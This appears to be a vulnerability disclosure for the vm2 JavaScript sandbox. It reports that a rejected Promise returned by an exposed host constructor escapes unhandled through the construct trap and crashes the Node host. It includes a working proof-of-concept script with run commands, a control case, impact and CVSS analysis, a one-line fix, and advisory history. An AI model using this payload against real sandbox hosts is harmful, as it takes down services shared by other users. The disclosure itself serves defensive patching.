vm2: Host Promise rejection from an exposed constructor can terminate the vm2 host process

Summary

An untrusted script run by VM.run can construct an embedder-exposed host function that returns a rejected native Promise and ignore the result. The sandbox-to-host construct trap forwards that Promise without applying the host-side rejection handling already used by the neighboring apply trap, so Node's strict unhandled-rejection policy terminates the host process.

Technical Details

The precondition is an application-supplied constructable host function in the VM sandbox whose constructor body returns a native rejected Promise. In JavaScript, an object explicitly returned by a constructor replaces the newly allocated instance, so new HostReject() produces that Promise.

VM.run executes the attacker-controlled source. For an ordinary host-function call, BaseHandler.apply invokes the host function, calls markHostPromiseHandled(ret), and then wraps the result. The adjacent BaseHandler.construct path instead calls Reflect.construct and returns thisFromOtherWithFactory(...) without calling the same sanitizer. The rejected host Promise therefore crosses the bridge still unhandled. With Node's strict unhandled-rejection behavior, the rejection is promoted to an uncaught exception and kills the host process.

The shortest path is VM.run → the sandbox bridge → BaseHandler.construct. The control changes only the guest expression: it attaches .catch(function () {}) to the constructed Promise before ignoring it. The host function, VM configuration, rejection, and Node policy remain the same, and the control process survives.

This is unintended because the repository's GHSA-gjq8 hardening explicitly marks host Promises handled at the apply boundary, while no equivalent handling exists in the adjacent construct return path. The construct path is a distinct boundary and fix surface, not a second invocation of the already-fixed apply path.

PoV

Save the following as construct-promise-poc.js:

'use strict';

const { VM } = require(process.cwd() + '/lib/main.js');

function HostReject() {
  return Promise.reject(new Error('constructed-host-boom'));
}

const mode = process.argv[2];
const vm = new VM({ sandbox: { HostReject } });

if (mode === 'vulnerable') {
  console.log('VULNERABLE_STARTED');
  vm.run('new HostReject(); 1');
  setTimeout(() => console.log('ALIVE'), 300);
} else if (mode === 'control') {
  vm.run('new HostReject().catch(function () {}); 1');
  setTimeout(() => console.log('CONTROL_ALIVE'), 300);
} else {
  throw new Error('usage: node construct-promise-poc.js vulnerable|control');
}

PoC

Check out vm2 revision 91034466bfb7f56b95fd48083ec6ca36d058f164, install its declared dependencies with npm ci --ignore-scripts, and save construct-promise-poc.js in that checkout's module root (the directory containing package.json and lib/). Run the script and both commands below from that same module-root directory. The script resolves lib/main.js from the current directory, so the test uses the checked-out vm2 source.

Tested with vm2 3.11.8 at that revision on Node.js v26.8.1, with NODE_OPTIONS=--unhandled-rejections=strict. The abort flag makes the process crash signal explicit:

NODE_OPTIONS=--unhandled-rejections=strict node --abort-on-uncaught-exception construct-promise-poc.js vulnerable

Abridged vulnerable output:

VULNERABLE_STARTED
Error: constructed-host-boom
    at VM2 Wrapper.construct (.../lib/bridge.js:2340:11)
    at VM.run (.../lib/vm.js:613:16)

The process exits before printing ALIVE (exit status 139 in the tested execution). The stack paths are environment-dependent; the construct and VM.run frames identify the relevant target functions.

The otherwise identical control is:

NODE_OPTIONS=--unhandled-rejections=strict node --abort-on-uncaught-exception construct-promise-poc.js control

Control output:

CONTROL_ALIVE

The control exits successfully. The crash is a process-level availability failure, not a guest exception caught and returned by VM.run.

Impact

An attacker who can submit JavaScript to a VM and who receives a constructable Promise-returning host API can terminate the Node.js process hosting the sandbox with one expression. This can take down a plugin worker, notebook kernel, queue consumer, or multi-tenant execution worker serving other users. The exploit does not require filesystem access, a Node builtin, nested VMs, or host compromise. It requires the embedder to expose the host constructor and the host to use strict unhandled-rejection handling.

The impact is host availability only; this report does not claim confidentiality or integrity impact. The typed classification is CWE-248 (Uncaught Exception) and CWE-703 (Improper Check or Handling of Exceptional Conditions), with CVSS 3.1 AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H (8.6, High) for a deployment that accepts untrusted code over a network boundary.

Suggested Fix

Restore the bridge invariant that every host-native Promise crossing into the sandbox is marked handled before it can be ignored. In BaseHandler.construct, add the same markHostPromiseHandled(ret) call used by BaseHandler.apply, after the host result is produced and before it is converted and returned:

stripDangerousSymbolsFromHostResult(ret);
markHostPromiseHandled(ret);
return thisFromOtherWithFactory(getHandlerFactory(this), ret, thisFromOther(object));

The call should attach the benign host-side rejection reaction without changing the Promise value or preventing sandbox code that later attaches .catch() or .then(..., onRejected) from observing the rejection. Regression tests should cover an ignored rejected Promise returned through new, the caught control, ordinary non-Promise constructor returns, and the existing apply-path behavior.

Affected Package/Versions

• Package: vm2 (npm).
• Confirmed vulnerable: 3.11.8, including revision 91034466bfb7f56b95fd48083ec6ca36d058f164.
• The exact tested affected range is 3.11.8; no broader version range is inferred from this test.

Advisory History

The public GHSA-gjq8-xm47-88rc advisory describes host-returned Promise rejection termination and records 3.11.8 as its patched version. Its fix and reproduction cover a host function invoked through the bridge apply route. This report uses the distinct construct route reached by new, where the tested 3.11.8 source still omits markHostPromiseHandled(ret). A fix for apply does not automatically fix this adjacent return path.

The checked related public history includes GHSA-hw58-p9xv-2mjh, the earlier sandbox-Promise constructor issue. GHSA-hw58 concerns an error raised by a Promise executor for a Promise created inside the sandbox; it is the sandbox-native localPromise/executor path, not GHSA-gjq8's host-returned Promise through BaseHandler.apply and not this host-constructor result through BaseHandler.construct.

The checked search also found PR #421, “Handle errors thrown in async functions”. That is a separate async-error history item concerning errors from async functions and timer callbacks, with general unhandled-rejection handling, rather than a host Promise returned through the GHSA-gjq8 apply boundary or a Promise returned by an exposed constructor through this construct trap.

The bound prior local report, titled “NodeVM crypto sanitizer exposes process-wide crypto.setFips,” covers a different root cause: an allowlisted crypto builtin exposes setFips, allowing guest code to mutate host-wide cryptographic state. Its boundary and fix surface are builtin sanitization and process-state mutation, not host-Promise rejection handling; it therefore differs from both the GHSA-gjq8 apply route and this BaseHandler.construct route. No prior report covering this construct-trap root cause was found.